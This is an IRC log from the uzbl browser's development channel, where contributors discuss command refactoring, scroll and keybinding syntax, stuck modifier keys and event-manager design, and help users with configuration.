11:52 < bjoernfan> You can remap the keyboard in the hardware tough, but as far as I know it's kind of slow if you remap all keys.
11:53 < ertai> bjoernfan: I know that, but I keep being distracted when typing passwords or doing some complicated shortcuts
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11:54 < bjoernfan> Do you mean you look at the keys when you type your password?
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12:04 < rob|> mason-l: still around?
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12:05 < rob|> mason-l: i pushed stage 1 of the expand() refactoring to _my_ experimental branch. testing welcome
12:05 < rob|> stage 2 will be to get rid of superfluous expand() calls all over the code
12:05 < rob|> but the basisc are already working
12:11 < rob|> tested with this config http://dpaste.com/94282/
12:16 < ertai> bjoernfan: Yes I don't resist having an eye on them
12:25 < ertai> scroll_{begin,end} are for vertical scrolling, I would like to have one for horiz as well
12:28 < mason-l> ertai, Good idea.
12:29 < ertai> mason-l: I'm trying to make a patch
12:31 < ertai> mason-l: are scroll_{begin,end}_horiz fine names ?
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12:35 < rob|> git commit -m 'Stage 2: refactor expand system, get rid of superfluous expand() calls' -a
12:35 < mason-l> rob|, Wrong window? :P
12:35 < rob|> no, just wanted to inform you ;)
12:36 < mason-l> rob|, Well stage 1 ran and expanded fine on my system.
12:36 < rob|> there was a slight problem with keycmd and stage 1, though stage 2 should fix it
12:37 < mason-l> ertai, I'd try to keep it consistent but it doesn't look like theres much option.
12:38 < mason-l> It would be great to have: scroll_{horiz, vert, up, down, left, right}
12:39 < mason-l> Where {up, down, left, right} all scroll to the extremities.
12:42 < ertai> mason-l: I will make this as a second patch since it breaks compatibility
12:43 < mason-l> ertai, As long as everyone is fine with it, I think we should take this opportunity to make those kind of changes which will be beneficial in the long run.
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13:01  * rob| seconds that
13:01 < rob|> ertai: are you patching against experimental?
13:09 < mason-l> rob|, Also I would like to see things like the status bar exported to EM plugins along with the setting of the mode status indicator handled by the mode plugin.
13:09 < mason-l> I mean status bar load bar
13:09 < ruskie> so now the EM is becoming that do-it-all thing?
13:09 < rob|> right, thought about that as well
13:10 < rob|> mason-l: anyways, you can do that already. just use custom vars for the indicators and set them in status_format
13:10 < mason-l> ruskie, Thats the idea, move all the event logic into plugin so the user can easily edit them to their liking.
13:11 < mason-l> rob|, I was planning on doing that :P but theres no need to do it twice.
13:12 < mason-l> rob|, Also is there a way to steal arrow focus? I.e. set something like the input_mode variable which will disable the arrow keys moving around on the page or in text areas?
13:12 < rob|> well, i'd like to see the expansion tested a bit just to make sure things are working as they should
13:13 < rob|> after that i'll push to dieter's tree and pull in your chages
13:13 < rob|> +n
13:13 < mason-l> ok.
13:13 < rob|> mason-l: yeah, i guess we could do the arrow keys thing
13:14 < mason-l> rob|, Because I would like to be able to define a custom mode which allows the user to select multiple items in the status bar (which would be temporarily over-written).
13:15 < rob|> i see
13:15 < mason-l> Like command history for example.
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13:29 < rob|> mason-l: hmm, the arrow don't move in the page but are reported as events
13:29 < rob|> ^arrow keys
13:29 < rob|> by default that is
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13:29 < mason-l> So that already happens?
13:29 < rob|> they will only do what you said when in insert mode
13:30 < mason-l> Awesome, I hadn't realised :)
13:30 < rob|> currently the key callback checks wether we are in insert mode and then forwards the key presses to the webview and dispatches them as events
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13:31 < rob|> if not in insert mode they won't be forwarded to the webview
13:32 < Dieterbe> how exactly does this happen in uzbl-core?
13:32 < Dieterbe> is uzbl-core aware of the concept insert mode vs command mode? (i guess we don't have much choice)
13:32 < rob|> it's just as simple as returning TRUE or FALSE in the callback
13:34 < Dieterbe> which callback?
13:35 < rob|> key_press_cb()
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13:40 < Dieterbe> yes, but how is key_press_cb supposed to know when it should return true or false?  shouldn't it be aware of the concept of insert vs command mode?
13:41 < rob|> it is: return uzbl.behave.insert_mode ? FALSE : TRUE;
13:45 < Dieterbe> yes, but my question more about 'how should we do it' then 'how is it done now'
13:45 < ertai> rob|: I'm patching against experimental
13:47 < rob|> ertai: ok, i will push a couple of changes soon so i hope there won't be any conflicts
13:47 < Dieterbe> rob|: i think one hand modes is something that should be handled outside of uzbl-core, but of course it needs to know when to forward keys to the webview, and when to send events for them. so maybe we should have a variable like uzbl.behave.forward_keys or something, and it would be up to the EM/plugin to change this setting depending on the mode
13:49 < rob|> well, as far as i can tell the expansion works correctly. i also pulled in mason's stuff. any objections against pushing to dieter's tree?
13:50 < rob|> Dieterbe: yeah, doesn't sound too bad
13:51 < ertai> About scrolling, what about having scroll_{left,right,top,bottom} and keep scroll_{start,end} as scroll_left;scroll_top and scroll_right;scroll_bottom
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13:54 < rob|> ertai: hmm, that means we either need to keep the chain command or the EM must offer an equivalent
13:54 < mason-l> What about just the command: scroll which takes one of the following as an argument: {top, bottom, left, right} which scroll to the extremities only if a third option isn't provided giving it the number of pixels to move in that direction.
13:55 < mason-l> Like "scroll bottom 20" or "scroll left" or "scroll right 500"
13:55 < mason-l> Or does that make things worse
13:55 < rob|> yeah
13:55 < mason-l> Yeah it does make things worse?
13:55 < rob|> heh, nope "yeah" to the sentence about that ;)
13:56 < rob|> *above
13:56 < mason-l> ok :D
13:56 < mason-l> Ah sorry I mean {up, down, left, right} not {top, bottom, left, right}
13:57 < ertai> rob|: I was thinking of keeping scroll_{begin,end} as real commands
13:57 < rob|> ertai: well, i don't see a need for that. you could just do it like mason suggested or 'scroll down end'
13:58 < rob|> while i like mason's suggestion better
13:58 < ertai> I also do
13:59 < rob|> well, no reaction to my above question, so i assume there are no objections, right?
13:59 < mason-l> rob|, Yeah I love the changes, no objection from me.
13:59 < rob|> Dieter ?
14:02 < rob|> i guess he's busy, so 3 2 1 ... pushed ;)
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14:18 < rob|> ertai: please pull in these changes to make sure we don't end up with conflicts when pushing your scroll code
14:23 < Dieterbe> rob|: fine by me yeah. if it's simpler then all as separate commands
14:27 < rob|> well, it's nice as you can just assign (complex) commands to a custom var and run @myvar
14:27 < rob|> like:  "set bind = request BIND"  "set goto = set uri = "  --> @bind o _ = @goto %s
14:29 < Dieterbe> i was talking about the 'scroll bottom 20' VS 'scroll_bottom 20'
14:32 < rob|> oh..
14:33 < mason-l> It would be "scroll (down|up|left|right)" which scrolls to the end of each respectively or scrolls by the number of pixels supplied as a third argument.
14:34 < Dieterbe> and the % feature?
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14:35 < JeffJohnson> howdy
14:35 < JeffJohnson> how can I bind shift + another key to an command?
14:35 < JeffJohnson> and how should "bind    o _       = uri %s" work? pressing o, type url, press enter dont work:)
14:35 < sitwon> JeffJohnson: o<space>url
14:35 < mason-l> JeffJohnson, And your using uzbl from the master branch aren't you?
14:35 < rob|> JeffJohnson: also, using modifiers is only possible with the experimental branch
14:35 < JeffJohnson> mason-l: dont know, Im using an exherbo package :-)
14:35 < JeffJohnson> sitwon: ah thx
14:36 < mason-l> Dieterbe, I forgot about that!
14:36 < mason-l> Dieterbe, Awesome :)
14:37 < Dieterbe> mason-l: i use that feature with the current scroll commands
14:37 < mason-l> I didn't know they could do that :P
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14:40 < JeffJohnson> how can I make the open url keybind to work without typing the space? (o<space>)
14:41 < mason-l> JeffJohnson, bind o_ = uri %s
14:41 < Dieterbe> lol
14:44 < JeffJohnson> thx
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14:44 < mason-l> JeffJohnson, No problem buddy, you might also like to read the README while you are at it.
14:44 < JeffJohnson> im allready reading it:)
14:44 < mason-l> Gold star for you.
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17:19 < heller_barde> hi guys
17:19 < Dieterbe_> hi
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17:20 < heller_barde> can someone tell me whether it's possible to change the default font size
17:20 < heller_barde> I kinda didn't find it on the uzbl wiki
17:20 < Dieterbe_> it's in the readme..
17:20 < heller_barde> ohhhh...
17:21 < heller_barde> okay, sorry :D i actually searched the wiki and the thread on the forums and it didn't dawned on me to consult the readme again *facepalm*
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17:22 < Dieterbe_> it can happen ;)
17:23 < heller_barde> okay, found it
17:23 < heller_barde> thanks
17:24 < heller_barde> I just started playing around with awesome again, so uzbl is very welcome :D I have a question though... it takes very long to load pages, 4-5 times longer than firefox or chromium. I understand that there is something with cookies, so i installed and configured the cookie_daemon.py script, but that didn't really help. Is there another weird issue around?
17:26 < Dieterbe_> hmm you sure you're talking to the cookie daemon over the socket?
17:27 < Dieterbe_> run 'uzbl -v' in the console to see if it's spawning external processes
17:27 < heller_barde> lemme check, but i think so
17:27 < heller_barde> ah
17:28 < heller_barde> one min
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17:32 < heller_barde> Dieterbe_: okay, i checked the following. cookie daemon is running. it uses the same socket "file" as uzbl, and uzbl has this line in the config: set cookie_handler = talk_to_socket $XDG_CACHE_HOME/uzbl/cookie_daemon_socket
17:32 < heller_barde> i'll quickly restart the cookie daemon and uzbl
17:33 < bct> you could try disabling the cookie_handler entirely, if it's still slow then it's nothing to do with cookies.
17:33 < heller_barde> bct: good idea
17:35 < rob|> heller_barde: the max_conns and max_conns_host vars are also possible candidates for tuning. we do have some good defaults, though you might just give that a try
17:36 < rob|> also note that webkit had a limitation to those parameters a couple of versions ago, so this might also be the issue
17:37 < heller_barde> I think now it's better. i tried to "start" the cookie daemon every time i started my uzbl_tabbed instead of "restart" the cookie daemon
17:39 < heller_barde> now i can has joy of uzbl browser
17:39 < heller_barde> :D
17:41 < Dieterbe_> you can haz
17:41 < dgym> correcting people's lol speak now? nice  :D
17:43 < Dieterbe_> :P
17:43 < Dieterbe_> in case you didn't know, i like lolcats
17:45 < rob|> i have a feeling that we should give people a heads up on the chages in experimental to motivate them to do more testing and bug reporting
17:46 < Dieterbe_> that's a good idea
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17:54 < rob|> while the ML would a pretty nice place for that i think that the website reaches a way bigger audience
17:55 < Dieterbe_> but first we should probably have basic documentation in place
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18:14 < mason-l> Well.
18:15 < mason-l> My current mode plugin is a disaster, I'm scrapping it and going with a different approach.
18:15 < mason-l> But all that can wait till tomorrow, I've got work soon.
18:15 < mason-l> Night guys.
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19:49 < tlonim> where uzbl caches web pages ?    or does it fetch  everytime for every request ?
19:50 < bct> they're cached in memory.
19:51 < bct> it doesn't do any disk caching right now (as far as i know)
19:52 < tlonim> bct: ok... I meant the disk caching ...
19:52 < bct> it doesn't refetch for every request though, if i remember correctly.
19:54 < tlonim> bct:  I mean if I close and start a new instance for the same page,it has to fetch it again right
19:54 < bct> yes.
19:55 < scj> you need to use a caching proxy of some sort
19:56 < tlonim> scj:  like polipo right
19:56 < scj> among others
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20:54 < rob|> re
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21:04 < rob|> just realized that the markupparser that processes the README for the website breaks variable names
21:04 < bct> yeah, variable names should probably be backticked
21:05 < bct> which sticks them in <code/> elements and ignores stuff like _
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21:05 < rob|> yeah
21:05 < bct> i noticed that yesterady.
21:06 < rob|> well, that would look ugly in the text version of the README, though
21:06 < bct> maybe.
21:06 < bct> the alternative is backslashing the _, which is worse imo
21:07 < rob|> also i'd like to collect a couple of nice variable abbreviations for the refactored expansion
21:08 < rob|> like:  set html = set uri = data:text/html,   and then  @html <your html here>
21:09 < rob|> these should go into the default config
21:19 < ertai> here is the proposed scrolling commands http://hpaste.org/fastcgi/hpaste.fcgi/view?id=9429#a9429
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21:23 < Dieterbe_> evening
21:31 < ertai> I've made a branch for the unified scrolling command git://github.com/np/uzbl/more-scrolling
21:31 < ertai> However github is experiencing troubles currently so I couldn't made a pull request
21:33 < Dieterbe_> pull requests are to be done by mail. not github. see http://www.uzbl.org/contribute.php
21:43 < ertai> Dieterbe_: done
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21:50 < scj> ertai: what about percentages?
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21:58 < ertai> oh they works as well
21:59 < ertai> I've not changed that part
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22:05 < scj> just checking, since they weren't mentioned in the propsal
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23:29 < rob|> ertai: good work! didn't test it yet, though. just one thing is the '\n' in puts() by purpose?
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23:33 < rob|> ertai: just asking cause puts adds a '\n' by itself
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23:51 < rob|> btw, https://projects.ring0.de/webkitbrowser/
23:54 < bct> bloody things are popping up like mushrooms.
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23:58 < rob|> well, it clearly has a different objective than uzbl
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00:09 < scj> has anyone tried using wwwoffle with uzbl?
00:12 < sitwon> what is wwwoffle?
00:13 < scj> caching proxy
00:14 < sitwon> you can specify a proxy... so I don't see why it wouldn't work
00:17 < bct> looks neat.
00:18 < scj> I'm gonna try and make a sed program to transform easylist into wwwoffles DontGet format. http://www.gedanken.demon.co.uk/wwwoffle/version-2.9/DontGet.txt
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00:43 < sitwon> scj: please share if it works. A lot of people would be interested in that
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10:02 < rob|> hmm, in some cases bind.py seems to get confused. i didn't find a reliable way to redproduce but sometimes it seems keycmd isn't cleared correctly
10:02 < rob|> and bind.py prepends a modifier also it wasn't actually pressed
10:02 < rob|> *although
10:04 < rob|> we might also need to set set the name of the socket and the instance name separately so we can reuse an existing socket file
10:08 < rob|> or we could redirect stdout to a fifo on which the EM listens only for INSTANCE_START/EXIT so it can catch new instances and be aware of the socket locations
10:11 < Dieterbe_> phew
10:11 < Dieterbe_> sounds complicated
10:12 < rob|> well, i see no other easy way to handle multiple instaces with one EM or to propagate the socket location to the EM i should say
10:13 < rob|> there needs to be a well defined location where many instances announce themselves
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10:33 < rob|> hmm, or we could just send that info via posix message queues. this should be rather portable and easy to use
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10:35 < rob|> and using mq_notify() we could easily react on async messages/events
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10:40 < Dieterbe_> hmm looks a bit like a socket
10:41 < rob|> yeah, but we would use it only for INSTANCE_START/EXIT events
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10:48 < rob|> hmm
10:48 < rob|> not really sure about best practice for this issue
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13:07 < mason_l> rob|, I've also been thinking about it.
13:08 < mason_l> And the best way imo is to turn the EM into a daemon (after we integrate cookie getting/setting through the EM).
13:09 < mason_l> Then maybe move /examples/data/uzbl/scripts/event_manager.py to /uzbl-daemon
13:09 < mason_l> And /examples/data/uzbl/scripts/plugins to /examples/data/uzbl/plugins/
13:10 < mason_l> Because plugins aren't really scripts.
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13:11 < Dieterbe_> sure they are
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13:12 < mason-l> Dieterbe_, Not in the sense that you can execute a plugin and get a result. Plugins don't function at all without the EM
13:13 < Dieterbe_> so? that doesn't mean they are not scripts
13:13 < Dieterbe_> but that's a semantic discussion without end, i guess
13:14 < Dieterbe_> depending on how you look at it, we could both be right
13:14 < mason-l> I was just about to mention it was more about semantics than anything.
13:17 < mason-l> I guess another way of looking at it is: change it now or in the future?
13:19 < rob|> hey mason
13:20 < mason-l> Hey rob|
13:20 < mason-l> rob|, So theres a problem in the bind plugin still?
13:21 < rob|> so i guess the easiest way would be to start every uzbl instance that is controlled by the EM like: uzbl-core > /path/to/well_defined_fifo_name
13:21 < rob|> the EM would listen on that fifo for START/EXIT events
13:21 < mason-l> I haven't been able to reproduce any "sticky-keys" problems.
13:21 < rob|> and would be able to associate new instances based upon that
13:22 < rob|> we might need to add the socket path to those events
13:24 < mason-l> rob|, While listening for events from uzbls socket is great when using the EM in single instance mode I don't really thing thats scalable. Can we defined an "--uzbl-daemon=$XDG_CACHE_HOME/uzbl/uzbl-daemon"
13:24 < mason-l> s/defined/define/
13:25 < mason-l> I mean we don't really need fifo announces of uzbl connects because there is an event when a client connects to the socket anyway.
13:27 < rob|> so we would have one socket per instance and an additional socket used by all instances?
13:29 < rob|> we can't have just one bidirectional socket for many uzbl instances cause that would require a protocol extension to adress a specific instance over that socket
13:29 < mason-l> Its a little wasteful but I don't think its the EM's job to chase up uzbl instances sockets.
13:29 < mason-l> rob|, Don't sockets allow multi-client connections?
13:30 < rob|> they do, but how would you send a"set foo = bar" to a specific instance?
13:30 < ruskie> extend the protocol?
13:30 < rob|> that's what i wrote above...
13:30 < mason-l> rob|: echo "set foo = bar" > /tmp/uzbl_fifo_324445
13:30 < ruskie> or better yet... define as much as possible and then go through it and see if you left out something... then extend it actually
13:31 < mason-l> rob|, I'm going to have a little play with AF_UNIX sockets for a while, I'll get back to you.
13:31 < rob|> ok, alright
13:32 < mason-l> I mean of course I don't, what am I thinking.
13:32 < mason-l> The cookie daemon already does this.
13:33 < ruskie> :)
13:33 < ruskie> single daemon for all!!! yay
13:33 < mason-l> It proves that multi-instance duplex communication is possible.
13:33  * ruskie is very happy with the daemon... especially with -m param
13:34 < ruskie> I simply accept all and when I want I stop it to wipe it all and start a fresh one
13:34 < mason-l> :D
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13:36 < ruskie> and I still get the benefits ;)
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13:57 < ruskie> hmm I see some issues with mouse support in uzbl
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13:57 < ruskie> sometimes the mouse initiates a drag but doesn't allow a drop or cancelation of the drop
14:00 < Dieterbe_> 13:36:11 < ruskie> and I still get the benefits ;)
14:01 < ruskie> :)
14:01 < Dieterbe_> except that you have to re-enter your credentials and stuff when going back to sites where you need to login
14:02 < ruskie> lol
14:02 < ruskie> let's see
14:03 < ruskie> I tend to do that with most sites anyway
14:03 < ruskie> I don't click the remember me button
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14:03 < ruskie> but as session is undefined it will run as long as the cookie daemon runs
14:04 < Dieterbe_> i hate re-entering login info
14:04 < Dieterbe_> i wish i could authenticate to websites using my ssh key
14:05 < ruskie> I actually like to do so
14:05 < ruskie> makes it possible to remember all those passwords
14:05 < Dieterbe_> ugh
14:05 < ruskie> though I store them into a gpg file
14:05 < Dieterbe_> how inefficient
14:06 < ruskie> not really
14:06 < ruskie> I haven't found a sufficiently secure container for it yet
14:07 < Dieterbe_> encrypt your cookies?
14:07 < ruskie> yeah I was thinking about that
14:08 < ruskie> but until I can actually say what cookies I want stored in file and reject all others that's a no-op
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14:12 < Dieterbe_> why not use the new whitelist feature?
14:14 < ruskie> I'll have to look into that
14:14 < ruskie> the thing is I don't actually want to have a what I allow/disallow
14:14 < chpln> Hello.  Is there support for binding multiple modifiers within a config?
14:14 < ruskie> simply an in-memory store and simply say store this don't store this and it would store it there and then
14:20 < rob|> chpln: only in experimental
14:21 < chpln> rob|: OK, nice.  I'll take a look.
14:21 < rob|> chpln: beware there has changed a _lot_
14:24 < ertai> ruskie: I store my passwords in a GPG file as well. I use YAML syntax, and different passwords each time
14:24 < ruskie> hmm
14:25 < ruskie> interesting concept
14:25 < ruskie> now hook that with some script into uzbl and make it generate random passwords for each site and auto fill them in as well
14:27 < ertai> ruskie: one day maybe
14:29 < chpln> rob|: Hmm... are any examples for configuring the modifiers?
14:29 < ruskie> ertai, hell I might bother making it ;)
14:30 < Dieterbe_> ruskie: i'm interested in it too
14:30 < Dieterbe_> scj's formfiller is already a step in the right direction
14:30 < Dieterbe_> now just bind that to auto-fill on the appopriate page
14:31 < ruskie> isn't that python?
14:31 < Dieterbe_> it's perl iirc
14:31 < ruskie> hmm there's a sh one as well
14:32 < Dieterbe_> yeah but the sh one is old an not as good as the perl one
14:32 < Dieterbe_> scj can tell you all about it
14:33 < ruskie> won't that be now in events anyway?
14:38 < Dieterbe_> "that" "in events" ?
14:39 < ruskie> the handlers and stuff?
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14:47 < ertai> I use the formfiller.sh I found it less buggy when tried both
14:48 < ertai> (and I'm no longer able to fix perl code)
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15:00 < Dieterbe_> yeah i couldn't get the perl one to work either but scj said it was supposed to work great. that was a while back, but i still would like to have this fixed at some point because the perl one looks great
15:01 < Dieterbe_> in fact i still have an integration branch (which is now outdated like hell but it does contain my fixes for the formfiller)
15:03 < rob|> chpln: sort of, look into bind.py in the plugins dir (examples/.../plugins)
15:04 < chpln> rob|: Very nice.  Thanks.
15:05 < rob|> chpln: sure thing, bug reports and suggestions welcome. mason-l is the man behind the event manager..
15:06 < mason-l> chpln, And I'm up for the next few hours if you have questions.
15:07 < chpln> Ah, OK. I'll take a look bind.py tomorrow -- getting too late here for much thought. ;)
15:12 < mason-l> rob|, Next time you get a "sticky key" let me know which key it was.
15:13 < rob|> yep, last time it was Alt
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15:18 < rob|> mason-l: just realized i still have the EM outbut in the buffer, i'll nopaste in a moment
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15:18 < rob|> *output
15:21 < rob|> http://dpaste.com/94767/
15:21 < rob|> note the <Alt><Escape> and <Alt><Backspace> lines
15:21 < rob|> the log is a bit verbose...
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15:24 < mason-l> rob|, I see, it started around line ~100
15:24 < mason-l> There was no KEY_RELEASE Alt_L
15:24 < rob|> strange
15:25 < rob|> might be my manky keyboard ;)
15:32 < mason-l> rob|, Also #1 tip for removing sticky keys: press the sticky key again.
15:32 < mason-l> But I'm going to work on a way to make this more apparent.
15:33 < mason-l> Theres nothing I can do if the WM is stealing keystrokes but I can atleast make it easy to identify which key is mistakenly held.
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15:35 < rob|> yeah
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15:40 < ilf> damn, this project rocks
15:40 < rob|> 'n rolls
15:41 < ilf> having an annoyance with starting uzbl. it seems it doesn't find my 'scripts'-dir, although i think i have the default path: http://pastebin.ca/raw/1569613
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15:42 < rob|> see the second line of your paste? apparently $XDG_DATA_HOME is not set in your environment
15:43 < ilf> $XDG_CONFIG_HOME isn't either, but uzbl finds that
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15:45 < mason-l> ilf, The difference being thats shell expansion not expansion done inside uzbl.
15:45 < mason-l> ilf, Try installing an xdg package for your system
15:46 < mason-l> On gentoo you need to install x11-misc/xdg-utils to get $XDG_* working.
15:46 < mason-l> But you could define them yourself.
15:47 < ilf> this one? http://www.freedesktop.org/wiki/Software/xdg-user-dirs
15:48 < ilf> http://packages.ubuntu.com/karmic/xdg-user-dirs
15:48 < ilf> or http://packages.ubuntu.com/karmic/xdg-utils
15:48 < rob|> the latter if you're running ubuntu
15:50 < ilf> already installed. but since i don't use a login manager it probably doesn't get called when startx-ing
15:51 < rob|> want it simple? just set the pathts manually in your X startup file (probably ~/.xinitrc)
15:51 < rob|> *paths
15:52 < ilf> that's what i assumed. trying to find out how ubuntu handles this
15:52 < rob|> all this XDG stuff must be the #1 annoyance with uzbl...
15:52 < opqdonut> yepp
15:52 < ilf> i'd do ~/.uzbl, but well
15:54 < rob|> sure, you can do that as well
15:54 < ilf> If $XDG_DATA_HOME is either not set or empty, a default equal to $HOME/.local/share should be used.
15:54 < ilf> http://standards.freedesktop.org/basedir-spec/basedir-spec-0.6.html
15:54 < ilf> so why doesn't it just do that??
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15:55 < rob|> probably because the one(s) who wrote the xdg code in uzbl did not bother ;)
15:56 < mason-l> ilf, Because its using shell expansion to launch those commands.
15:56 < mason-l> rob|, xdg defaulting works fine (thus why the config still loads)
15:56 < mason-l> The problem here is ilf using $XDG_* in his config.
15:57 < mason-l> Which is expanded by the shell.
15:57 < rob|> well, there should be a check in the shell expansion to see wether that XDG var is empty. i mean the standard seems to require thar
15:57 < rob|> *that
15:58 < chpln`> mason-l: I'm currently looking into the event manager.  How should I go about handling keysequences from uzbl?
15:59 < mason-l> rob|, But if the xdg util isn't installed that writes the $XDG_* eviron vars how does it know they should be defaulted to $HOME/.local/share/ & etc
15:59 < mason-l> chpln, Are you looking to bind commands like "<Ctrl>q = exit" or "o _ = uri %s" ?
15:59 < rob|> mason-l: it == uzbl? well it should do what the standard dictates if the var is empty
16:00 < chpln`> mason-l: The former.
16:00 < mason-l> chpln, I mean of those type not one or the other :)
16:00 < mason-l> chpln, Then the best place is in your config.
16:00 < mason-l> chpln, I'll show you.
16:01 < rob|> show him the easy expansion way please ;)
16:01 < chpln`> mason-l: Oh, binding commands within the config is no problem.  Specifically what I'm looking for is a way to handle multiple modifiers.
16:02 < rob|> like "<Alt><Ctrl>foo = bar" ?
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16:02 < ilf> s/$XDG_DATA_HOME/$HOME\/.local\/share/g in the config works, but putting in a line "XDG_DATA_HOME=$HOME/.local/share" doesn't o_O
16:03 < DuClare> rob|, Does that mean <Alt><Ctrl>f <Alt><Ctrl>o <Alt><Ctrl>o or <Alt><Ctrl>f oo?
16:03 < chpln`> rob|: Yes.  As well as separately: <Alt>foo = bar and <Ctrl>foo = bar.
16:03 < rob|> DuClare: no that means holt alt+ctrl and type foo
16:03 < rob|> *hold
16:04 < DuClare> What do you put in if you want to hold alt & ctrl for f only?
16:04 < mason-l> chpln, http://dpaste.com/94783/
16:05 < mason-l> chpln, Oh thats what you want?
16:05 < mason-l> Just define it twice.
16:05 < rob|> duclare: good question, maybe there should be a "<>" modifier indicating that.
16:05 < rob|> or do we have something for that already, mason?
16:05 < chpln`> mason-l: Yes, that looks like it.  Thanks.
16:06 < chpln`> mason-l: How to I have the event-manager process that?
16:06 < rob|> chpln`: just run uzbl-browser and you're done
16:06 < mason-l> "<Alt><Ctrl>foo = bar" means (1) hold alt (2) hold ctrl (3) type foo (4) release either ctrl or alt and the MODCMD_EXEC event is raised.
16:07 < mason-l> DuClare, Oh I see what you are saying.
16:08 < rob|> mason-l: what about:  <Alt><Ctrl>f<>oo  meaning: hold Alt+Ctrl, type f, release either one, type oo
16:08 < rob|> so basicaly <> would mean clear all modifiers
16:10 < rob|> or if you want to be really fancy <-MODIFIER> wich would clear only the give modifier key hence the '-'
16:10 < mason-l> rob|, It might be possible by making the bind plugin set a custom mode when it reaches the <> in the bind command.
16:10 < scj> problem is that it's different than <Ctrl><Alt>foo, while the order you press down modkeys are usually irrelevant to the user
16:11 < mason-l> rob|, And have it stack commands until one is executed or escape pressed.
16:12 < rob|> yeah, exactly
16:12 < mason-l> So its possible and I think I'll add it.
16:12 < mason-l> I'm available for a happy hacking weekend this weekend (4 days off).
16:13 < rob|> nice! actually i don't of any application that allows bindings of this kind
16:13 < rob|> ^know
16:13 < mason-l> rob|, Doesn't screen?
16:13 < DuClare> rob|, Emacs
16:13 < rob|> hell, i should stop drinking beer and IRCing...
16:13 < jelly12gen> beer makes great code
16:14 < rob|> jelly12gen: that's true indeed ;)
16:14 < chpln`> mason-l: Works wonderfully.  Thanks you.
16:14 < jelly12gen> but the morning after you are like  'he? '
16:14 < rob|> DuClare: oh really? what's their syntax for that?
16:14 < jelly12gen> anyway the point is this channel is so active i should uzbl again
16:15 < DuClare> rob|, For every key that must be typed with a modifier/modifiers held, you prefix the modifiers
16:15 < rob|> ah, i see
16:15 < DuClare> rob|, So if you want a modifier+key followed by plain key, simply don't prefix the plain key with a modf
16:15 < mason-l> jelly12gen, About a 1000 lines a day :D
16:15 < mason-l> jelly12gen, Or maybe 600
16:15 < jelly12gen> wow
16:15 < jelly12gen> mason-l: so it get's bloat or not ?
16:16 < mason-l> jelly12gen, I mean the channel log
16:16 < rob|> well, it's a fun crowd hanging around in here
16:16 < jelly12gen> ooh :D
16:16 < DuClare> rob|, The syntax is quite different.. for example, C-x 8 RET means press x with ctrl held, then press 8, and finally return
16:16 < rob|> DuClare: i see and who do they indicate Space?
16:16 < DuClare> SPC
16:16 < rob|> ok
16:18 < rob|> and if you want to bind SPC (i.e. literal S and P and C) you do what?
16:18 < DuClare> S P C
16:18 < DuClare> Sorry
16:18 < DuClare> S-s S-p S-c
16:18 < rob|> hehe, silly me
16:18 < rob|> that seems to be quite elaborate
16:19 < DuClare> It works really well, based on my experiences
16:19 < DuClare> In fact, I was going to write something like that for uzbl
16:20 < mason-l> rob|, Actually that binding idea is awesome. But imagine taking it one further and adding a prompt in the command like: "o<url:>_ = uri %s" and after the o is pressed the prompt is set to "url: _"
16:20 < rob|> DuClare: sounds good, are you in any way familiar with python? i guess that would make a great alternative bind-emacs.py plugin...
16:21 < DuClare> rob|, Nope, though languages aren't much of a problem these days, as long as the references are available
16:21 < DuClare> Just I'm not sure whether there's a need for it since somebody wrote the binding stuff already
16:21 < rob|> mason-l: man, so many great ideas and possibilities. i'm baffled...
16:22 < scj> don't see why the prompt needs to be defined inside the binding
16:22 < scj> but having a settable prompt would be neat
16:22 < mason-l> scj, How else would you add it in?
16:22 < scj> optional parameter
16:22 < mason-l> scj, How?
16:23 < scj> not sure yet
16:23 < mason-l> scj, And when would the prompt be triggered?
16:23 < mason-l> scj, :)
16:23 < rob|> still a "modal" prompt sounds like a really great idea
16:23 < rob|> like every search engine request would share the same "prompt binding" expressed via a simple variable abbrev
16:23 < rob|> nice!
16:25 < chpln`> mason-l: Regarding sticky keys earlier, <Meta> currently stuck here.
16:25 < rob|> set search_prompt = <search:>   ->  g@search_prompt _ = uri google/foo=search=%s  etc.
16:25 < chpln`> mason-l: No meta key pressed that session, btw.
16:25 < rob|> clever!
16:26 < DuClare> :>
16:26 < mason-l> rob|, Well yeah you could: "set bind = request BIND", "set search_prompt = google", "@bind o<@{search_prompt}:>_ = uri http://google.com/search?q=%s"
16:26 < mason-l> rob|, Beat me to it
16:26 < rob|> exactly, i love this idea!
16:27 < mason-l> I should note this down in case I forget how awesome it is :)
16:28 < mason-l> chpln, Does it go away when you press Meta again?
16:28 < rob|> hehe
16:29 < chpln`> mason-l: It does not.  I was unable to find a way to disable it short of killing the process.
16:29 < mason-l> chpln, Can you pastebin the output please?
16:30 < mason-l> (To try and figure out what went wrong).
16:30 < chpln`> mason-l: Can do.  One moment.
16:33 < chpln`> mason-l: http://pastebin.org/18508
16:37 < mason-l> chpln, Well thats easy!
16:38 < mason-l> Theres no key-releases for Meta_L or Super_L
16:38 < mason-l> Well easily identified that is, very difficult to fix. rob| any ideas?
16:39 < rob|> hmm, no idea how this can happen
16:40 < mason-l> chpln, rob|'s my front man, if uzbl-core doesn't see the events the bind plugin cant process them.
16:40 < chpln`> mason-l: Ah, I see.
16:41 < mason-l> Maybe I should add in a check that automatically deletes all modkeys that have no KEY_RELEASE events when CLEAR_KEYCMD is called?
16:41 < rob|> mason-l: so you're sure events can't "get lost" in the EM?
16:41 < chpln`> mason-l: Hmm... Super_L seems to release OK AFAICT.  Only Meta easily becomes stuck.
16:42 < mason-l> rob|, You would see it in the:
16:42 < rob|> i mean the PRESS/RELEASE callbacks are super trivial functions where not much can go wrong
16:42 < mason-l> #
16:42 < mason-l> EVENT [58846817] KEY_RELEASE Shift_L
16:42 < mason-l> EVENT [58846817] KEY_RELEASE Alt_L
16:43 < mason-l> rob|, Maybe another method of catching key presses/releases is required?
16:43 < mason-l> Or are we stuck with it as webkit doesn't work with anything else?
16:44 < rob|> actually we hook into the gtk's window key press/release signals
16:45 < mason-l> And theres no gtk-window settings like "randomly_drop_keys = True" or anything
16:45 < rob|> not that i'm aware of
16:46 < rob|> anyways, i'll add a signal that also connects the press/release callbacks to the webview
16:47 < rob|> maybe that's the culprit that steals from us
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16:56 < rob|> damn, the webview does not seem to support release events :(
16:57 < rob|> oh, nvm
16:57 < rob|> it does
17:01 < Dieterbe_> okay i briefly skimmed over the discussion
17:01 < Dieterbe_> as for the "how to define when the prompt should change in the middle of a keybind" question
17:01 < Dieterbe_> how about having binds that trigger something, but do not reset keycmd when they are done?
17:02 < mason-l> Dieterbe_, You mean like "@bind fl* = spawn numberkeys.js"
